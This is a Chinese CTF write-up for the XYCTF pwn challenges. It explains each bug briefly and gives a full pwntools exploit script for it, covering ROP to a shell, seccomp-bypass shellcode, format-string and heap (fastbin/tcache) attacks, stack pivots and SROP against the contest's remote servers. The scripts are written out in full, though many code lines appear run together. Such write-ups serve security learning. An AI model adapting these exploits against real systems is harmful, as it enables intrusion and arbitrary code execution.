用了一周來復現crypto部分(不能算是復現,拿著 糖醋小雞塊的WP一點點學了下)。
兩天時間復現PWN部分。相對來說PWN比密碼這塊要簡單,不過ARM,MIPS懶得學了,跳過。
malloc_flag
題目先打開flag將建0x100的塊,然后把flag讀入再free掉塊。后邊允許建塊和show。只要再建個同大小的塊然后show就能拿到flag
hello_world
int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[20]; // [rsp+0h] [rbp-20h] BYREFinit();printf("%s", "please input your name: ");read(0, buf, 0x48uLL);printf("Welcome to XYCTF! %s\n", buf);printf("%s", "please input your name: ");read(0, buf, 0x48uLL);printf("Welcome to XYCTF! %s\n", buf);return 0;
}
有兩次讀入和輸出并且可以溢出,第1次輸入0x28長得到libc_start_main_ret,第2次再溢出寫pop_rdi,bin_sh,system
from pwn import *
context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6')
#p = process('./eztext')
p = remote('gz.imxbt.cn', 20022)p.sendafter(b"please input your name: ", b'A'*0x28)
p.recvuntil(b'A'*0x28)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x29d90pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']p.sendafter(b"please input your name: ", b'A'*0x28+ flat(pop_rdi+1, pop_rdi, bin_sh, system))p.interactive()
Intermittent
是個shellcode題,輸入的shellcode被分成3段每斷4字節
write(1, "show your magic: ", 0x11uLL);read(0, buf, 0x100uLL);for ( i = 0LL; i <= 2; ++i )*((_DWORD *)v5 + 4 * i) = buf[i];v5();
前邊兩段需要jmp $+14跳到下一塊,用push,pop設置參數后syscall作個read讀入后邊的shellcode
from pwn import *
context(arch='amd64', log_level='debug')
p = remote('gz.imxbt.cn', 20029)shellcode = asm("push rdx;pop rsi;jmp $+14;")
shellcode+= asm("push rax;pop rdi;jmp $+14;")
shellcode+= asm("push rsi;pop rdx;syscall;")p.sendafter(b"show your magic: ", shellcode.ljust(0x100, b'\x90'))
p.send(b'\x90'*0x28 + asm(shellcraft.sh()))p.interactive()
invisible_flag
第2個shellcode題,但作了seccomp禁用了open,read,readv,write,writev,execve,execveat
用openat打開然后sendfile,可以直接用shellcraft.openat,這是專門手搓個只有0x20字節的。
from pwn import *context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')p = remote('gz.imxbt.cn', 20029)#int openat(int dirfd, const char *pathname, int flags, mode_t mode);
#含/flag 0x20字節
shellcode = f"""
push rdx;pop rsi;xor rsi,0x1b;
push rbx;pop rdx;
inc al;inc ah;
syscall;push 1;pop rdi;
xchg rax,rsi;
/* push rbx;pop rdx; */ /*rdx=0*/
xor r10,r11;
push 0x28;pop rax;
syscall;
"""p.sendafter(b"show your magic again\n", asm(shellcode).ljust(0x100,b'\x90')+b'/flag')p.interactive()
fmt
這個格式化字符串漏洞用的是scanf也就是指定參數讀入
int __cdecl main(int argc, const char **argv, const char **envp)
{char buf1[32]; // [rsp+0h] [rbp-30h] BYREFunsigned __int64 v5; // [rsp+28h] [rbp-8h]v5 = __readfsqword(0x28u);init();printf("Welcome to xyctf, this is a gift: %p\n", &printf);read(0, buf1, 0x20uLL);__isoc99_scanf(buf1);printf("show your magic");return 0;
}
先指定一個偏移讀%7$s,再在偏移處寫上指針,然后就能把后門寫到指針處。
2.31還有exit_hook在rtld_global+3848處,并且與libc位置固定。
在docker上起的時候比本地少0x6000
from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc-2.31.so')p = remote('gz.imxbt.cn', 20038)p.recvuntil(b"gift: ")
libc.address = int(p.recvline(),16) - libc.sym['printf']#exit->fs+30->_rtld_global+3848
#0x7ffff7ffdf68 <_rtld_global+3848>: 0x00000000004012be
exit_hook = libc.address +0x222f68
#exit_hook += 0x6000 #local offset 本地比遠程多0x6000
p.send(flat(b'%7$s\0\0\0\0',exit_hook,0,0))p.sendline(p64(0x4012be))p.interactive()
?fastfastfast
從題目上看是用fastbinAttack,因為2.31不再允許直接在tcache里double free所以要先填滿tcache再在fastbin里double free,第1次泄露libc,第2次寫free_hook
from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc-2.31.so')
elf = ELF('./vuln')#p = process('./vuln')
p = remote('gz.imxbt.cn', 20043)def add(idx, msg='A'):p.sendlineafter(b">>> ", b'1')p.sendlineafter(b"please input note idx\n", str(idx).encode())p.sendafter(b"please input content\n", msg)def free(idx):p.sendlineafter(b">>> ", b'2')p.sendlineafter(b"please input note idx\n", str(idx).encode())def show(idx):p.sendlineafter(b">>> ", b'3')p.sendlineafter(b"please input note idx\n", str(idx).encode())#set notes_list[0]->got.puts leak libc
for i in range(9):add(i)for i in range(7):free(8-i)free(0)
free(1)
free(0)for i in range(7):add(2+i)add(0, p64(0x4040c0))
add(1)
add(10)
add(11, p64(elf.got['puts']))
show(0)
libc.address = u64(p.recv(0x8)) - libc.sym['puts']
print(f"{libc.address = :x}")#__free_hook->system
for i in range(9):add(i)for i in range(7):free(8-i)free(0)
free(1)
free(0)for i in range(7):add(2+i)add(0, p64(libc.sym['__free_hook']))
add(1)
add(10, b'/bin/sh\x00')
add(11)
add(11, p64(libc.sym['system']))free(10)
p.interactive()
ptmalloc2_its_myheap
這題有3道,難度加大。
第1題PIE未開,并且got表可寫。直接覆蓋free為system
3個題的菜單一樣,只有add,free,show,沒有edit稍有點麻煩。
add時先寫個0x18的管理塊,再建數據塊,并將指針和大小寫到管理塊。
free時先free管理塊再free數據塊,并且未清指針,所以有UAF漏洞。
show是用write寫不會出現\0截斷。
通過建0x18的塊覆蓋原來free掉但未清指針的管理塊,控制管理塊的指針,可以實現任意地址讀。
并且可以指定一個位置來 free得到到重疊塊,覆蓋原tcache的指實在在指定位置建塊寫數據。
from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6')
elf = ELF('./vuln')#p = process('./vuln')
p = remote('gz.imxbt.cn', 20044)def add(idx, size, msg='A'):p.sendlineafter(b">>> ", b'1')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())p.sendlineafter(b"[?] Enter chunk size: ", str(size).encode())p.sendafter(b"[?] Enter chunk data: ", msg)def free(idx):p.sendlineafter(b">>> ", b'2')p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())def show(idx):p.sendlineafter(b">>> ", b'3')p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())add(0,0x20, flat(0,0,0,0x61))
add(1,0x20)
free(0)
free(1)
add(2,0x18, flat(8,1,0x404018))
show(0)
libc.address = u64(p.recv(8)) - libc.sym['free']
print(f"{libc.address = :x}")free(2)
add(2,0x18, flat(8,1,elf.sym['chunk_list']))
show(1)
heap = u64(p.recv(8)) - 0x2a0
print(f"{heap = :x}")free(2)
add(2,0x18, flat(8,1,heap+0x2e0))
free(0)add(1, 0x58, flat(0,0x21,8,1,0,0x31, (heap>>12)^(elf.got['free']-8)))
add(3,0x20, b'/bin/sh\0')
add(4,0x20, flat(0, libc.sym['system']))free(3)
p.interactive()
ptmalloc2_its_myheap_pro
got表不可寫了,這里有好多攻擊姿勢,其中寫exit_hook(與上題不一樣,2.35沒有rtld_global里的exit_hook,這是個tls里的)前幾天寫過了。通過libc找棧地址,在棧里打到ld地址,通過ld里的rtld_global找到TLS地址在里邊寫ROP,第1斷加密。詳見前邊一篇。
在得到棧地址后可以直接寫棧,這樣在返回地址寫ROP,感覺更方便處理。前邊也寫過了
from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6')
elf = ELF('./vuln')#p = process('./vuln')
p = remote('gz.imxbt.cn', 20075)def add(idx, size, msg='A'):p.sendlineafter(b">>> ", b'1')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())p.sendlineafter(b"[?] Enter chunk size: ", str(size).encode())p.sendafter(b"[?] Enter chunk data: ", msg)def free(idx):p.sendlineafter(b">>> ", b'2')p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())def show(idx):p.sendlineafter(b">>> ", b'3')p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())add(0,0x20, flat(0,0,0,0x61))
add(1,0x20)
free(0)
free(1)
add(2,0x18, flat(8,1,elf.got['free']))
show(0)
libc.address = u64(p.recv(8)) - libc.sym['free']
print(f"{libc.address = :x}")free(2)
add(2,0x18, flat(8,1,elf.sym['chunk_list']))
show(1)
heap = u64(p.recv(8)) - 0x2a0
print(f"{heap = :x}")free(2)
add(2,0x18, flat(8,1,libc.sym['_environ']))
show(0)
stack = u64(p.recv(8))
print(f"{stack = :x}")free(2)
add(2,0x18, flat(8,1,stack-0x68))
show(1)
ld_address = u64(p.recv(8)) - 0x3b2e0
print(f"{ld_address = :x}")_rtld_global = ld_address + 0x3a040
free(2)
add(2,0x18, flat(8,1,_rtld_global+0x20))
show(0)
tls = u64(p.recv(8)) - 0x3150 + 0x740
print(f"{tls = :x}")free(2)
add(2,0x18, flat(0x10,1,tls+0x28))
show(1)
canary = u64(p.recv(8))
pointer_guard = u64(p.recv(8))
print(f"{canary = :x} {pointer_guard}")free(2)
add(2,0x18, flat(8,1,heap+0x2e0))
free(0)add(1, 0x58, flat(0,0x21,8,1,0,0x31, (heap>>12)^(stack-0x148)))add(3,0x20, b'/bin/sh\0')pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
add(4,0x28, flat(0, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))p.interactive()
ptmalloc2plus
這個PIE也打開了,不能直接讀got表得到libc了,需要用unsort。
這題在seccomp的時候建了很多塊然后free,所以tcache里非常亂,亂給它耗掉,然后free0x90塊8次利用unsort.fd可以直接得到libc.
還是上題的思路,這次先把ROP寫到堆里,在棧里寫rbp,leave_ret進行移棧。
from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6')
elf = ELF('./vuln')#p = process('./vuln')
p = remote('gz.imxbt.cn', 20076)def add(idx, size, msg='A'):p.sendlineafter(b">>> ", b'1')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())p.sendlineafter(b"[?] Enter chunk size: ", str(size).encode())p.sendafter(b"[?] Enter chunk data: ", msg)def free(idx):p.sendlineafter(b">>> ", b'2')p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())def show(idx):p.sendlineafter(b">>> ", b'3')p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())#耗掉前邊不連續的0x20塊
for i in range(5):add(0,0x18)add(0,0x18)
free(0)
add(1,0x18)
show(1)
heap = u64(p.recv(0x18)[0x10:]) - 0x14a0
print(f"{heap = :x}")for i in range(9):add(i+2,0x80)
for i in range(8): #unsort +0x19b0free(i+2)
for i in range(4):add(i+2, 0x18)free(1)
add(0,0x18, flat(0x18,1,heap+0x19b0))
show(1)
libc.address = u64(p.recv(0x10)[8:]) - 0x21ace0
print(f'{libc.address = :x}')free(0)
add(1,0x18, flat(0x18,1,libc.sym['_environ']))
show(0)
stack = u64(p.recv(8)) - 0x148 #chunk_add.ret
print(f"{stack = :x}")free(2)
free(3)
add(2, 0x28, flat(0,0,0,0x41))
add(3, 0x28)free(2)
free(3)
free(1)
add(0, 0x18, flat(0x38,1, heap+0x19d0))
free(1)
add(1, 0x38, flat(0,0x31, ((heap+0x19d0)>>12)^stack ))for i in range(8):add(2,0x80)pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc.address + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc.address + 0x00000000000904a9 # pop rdx ; pop rbx ; ret
pop_rcx = libc.address + 0x0000000000108b04 # pop rcx ; pop rbx ; ret
pop_rax = libc.address + 0x0000000000045eb0 # pop rax ; ret
leave_ret = libc.address + 0x000000000004da83 # leave ; ret
syscall = libc.sym['getpid'] + 9
buf = heap+0x1cf0#ROP 比塊長,分兩斷,中間用ppp跳過
pay1 = flat([pop_rdi, buf, pop_rsi, 0, pop_rax,2, syscall,pop_rdi, 3, pop_rsi, buf, pop_rdx, 0x50, 0, pop_rdi+1, pop_rcx])
pay2 = flat([pop_rax,0, syscall,pop_rdi, 1, pop_rax, 1, syscall
]) + b'flag\x00'add(2,0x18,b'2')
free(2)
add(3, 0x80, pay1)
add(4, 0x80, pay2)add(5, 0x28)
add(5, 0x28, flat(heap+0x1c20-8, leave_ret))p.interactive()
vuln
這是個靜態編譯的題,直接用ROPgadget得到ROP再修改一下
from pwn import *
from struct import packcontext(arch='amd64', log_level='debug')#io = process('./vuln')
io = remote('gz.imxbt.cn', 20077)#ROPgadget --binary vuln --ropchain
p = b'\x00'*0x28p += pack('<Q', 0x0000000000409f8e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000447fe7) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a465) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f8e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1b0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a465) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f1f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f8e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x0000000000451322) # pop rdx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1b0) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000447fe7) # pop rax ; ret
p += b'\x3b'+b'\x00'*7
p += pack('<Q', 0x0000000000401cd4) # syscallio.send(p)
io.interactive()
one_byte
比前邊幾題多了edit,在edit時可以多輸入1字節。可以通過1字節覆蓋后邊塊頭變大,free里再建得到重疊塊進行tcache攻擊。
from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6') #2.31-0ubuntu9.14
elf = ELF('./vuln')#p = process('./vuln')
p = remote('gz.imxbt.cn', 20078)def add(idx, size):p.sendlineafter(b">>> ", b'1')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())p.sendlineafter(b"[?] Enter chunk size: ", str(size).encode())def free(idx):p.sendlineafter(b">>> ", b'2')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())def show(idx):p.sendlineafter(b">>> ", b'3')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())def edit(idx,msg):p.sendlineafter(b">>> ", b'4')p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())p.send(msg)add(0,0x18)
add(1,0x18)
add(2,0x200)
add(3,0x200)
add(4,0x18)edit(2, flat(0,0,0,0x1f1))
edit(0, flat(0,0,0)+b'\x41')
free(1)
add(1, 0x38)
edit(1, flat(0,0,0,0x421))
free(2)
show(1)
libc.address = u64(p.recv(0x28)[0x20:]) - 0x1ecbe0
print(f"{libc.address = :x}")add(2, 0x18)
free(0)
free(2)
edit(1, flat(b'/bin/sh\0',0,0,0x21, libc.sym['__free_hook']))
add(2, 0x18)
add(0, 0x18)
edit(0, p64(libc.sym['system']))
free(1)
p.interactive()
Guessbook1
邊界溢出,可以溢出1字節寫到rbp的尾字節,再main_leave_ret時會發生移棧。先把后門寫上然后將rbp尾字節改小
from pwn import *
context(arch='amd64', log_level='debug')#p = process('./pwn')
#gdb.attach(p, "b*0x401320\nc")
p = remote('gz.imxbt.cn', 20079)def note(idx,name,ids):p.sendlineafter(b"index\n", str(idx).encode())p.sendafter(b"name:\n", name)p.sendlineafter(b"id:\n", str(idx).encode())for i in range(32):note(i, p64(0x401328)*2,i)note(32,b'A'*0x10, 0) #rbp = xxx0
p.sendlineafter(b"index\n", b'-1')p.interactive()
babyGift
這題提示的gift一直沒找到有啥用,感覺唯一的用處就是填充了rdi
先用printf;ret得到libc地址,然后調用_start得新開始,再寫ROP
from pwn import *context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6') #2.31-0ubuntu9.14
elf = ELF('./vuln')#p = process('./vuln')
#gdb.attach(p, "b*0x4012ad\nc")
p = remote('gz.imxbt.cn', 20102)p.sendlineafter(b"Your name:\n", b'A')
#p.sendlineafter(b"Your passwd:\n", b'%p'*0x10 + flat(0x404f00, 0x401202,0x404f00, elf.sym['_start']))
# printf,ret
p.sendlineafter(b"Your passwd:\n", b'%27$p,%11$p,'.ljust(0x20,b'\x00')+ flat(0x404f00, 0x401202,0x404f00, elf.sym['_start']))libc.address = int(p.recvuntil(b',', drop=True), 16) - 128 - libc.sym['__libc_start_main']
stack = int(p.recvuntil(b',', drop=True), 16)#p.sendlineafter(b"Your name:\n", b'A')
p.sendlineafter(b"Your passwd:\n", b'/bin/sh'.ljust(0x20,b'\x00')+ flat(0x404f00, 0x4012ae, libc.sym['system']))p.interactive()
simple_srop
簡單的SROP,并且直接給了mov rax,0xf;syscall,難點就在于ORW至少需要2次但給的read只有0x200不夠。需要先移棧到BSS再用srop讀入后續的payload。
from pwn import *context(arch='amd64', log_level='debug')#libc = ELF('./libc.so.6') #2.31-0ubuntu9.14
elf = ELF('./vuln')#p = process('./vuln')
#gdb.attach(p, "b*0x4012d4\nc")
p = remote('gz.imxbt.cn', 20108)sig_ret = 0x401296
syscall = 0x40129d
bss = 0x404800#move stack to bss
p.send(flat(b'\x00'*0x20, bss, 0x4012b9).ljust(0x200, b'\x00'))#read(0, bss+0x200,0x600)
pay = b'flag'.ljust(0x20, b'\x00') + flat(bss, sig_ret)
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = bss + 0x200
frame.rdx = 0x500
frame.rsp = bss + 0x200 #
frame.rip = syscallpay += bytes(frame)
p.send(pay.ljust(0x200, b'\x00'))pay = p64(sig_ret)
#open
frame = SigreturnFrame()
frame.rax = 2
frame.rdi = bss - 0x20
frame.rsi = 0
frame.rdx = 0
frame.rsp = bss + 0x200 + 0x100 #
frame.rip = syscall
pay += flat(frame)#read
pay += p64(sig_ret)
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 3
frame.rsi = bss-0x100
frame.rdx = 0x50
frame.rbp = bss
frame.rsp = bss + 0x200 + 0x100*2 #
frame.rip = syscall
pay += flat(frame)#write
pay += p64(sig_ret)
frame = SigreturnFrame()
frame.rax = 1
frame.rdi = 1
frame.rsi = bss-0x100
frame.rdx = 0x50
frame.rbp = bss
frame.rsp = bss + 0x200 + 0x100*3 #
frame.rip = syscall
pay += flat(frame)p.send(pay)
p.interactive()